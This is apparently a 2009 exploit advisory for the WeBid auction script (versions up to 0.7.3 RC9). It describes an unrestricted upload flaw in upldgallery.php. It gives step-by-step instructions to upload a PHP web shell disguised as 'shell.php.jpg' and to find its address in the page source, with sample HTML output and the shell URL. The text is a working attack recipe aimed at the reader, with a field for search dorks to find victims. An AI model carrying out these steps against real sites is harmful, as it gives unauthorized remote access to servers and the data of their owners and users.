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Author       : Ahmad Pay
Date         : March, 25 2009
Location     : Bojonegoro, Indonesia
Critical     : High
Impact       : System Access
Where        : From Remote
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Application  : WeBid
version      : <= 0.7.3 RC9
Vendor       : http://sourceforge.net/projects/simpleauction

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Vulnerability:
~~~~~~~~~~

Anyone can upload shell php with extension eg: shell.php.jpg.


Poc/Exploit:
~~~~~
http://www.example.com/[path]/upldgallery.php

Then after upload shell right click to the pages to find your shell path

#######################################
eg:
</script>
</head>

<body bgcolor="#FFFFFF">
<div class="container">
<img src="uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg" style="float: left; margin-right: 10px;" id="thumbnail" alt="Create Thumbnail" />
<div style="float:left; position:relative; overflow:hidden; border:#000000 double; width:0; height:0;">

    <img src="uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg" style="position: relative;" alt="Thumbnail Preview" />
</div>
#######################################

Shell address above is : http://www.example.com/[path]/uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg

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Dork:
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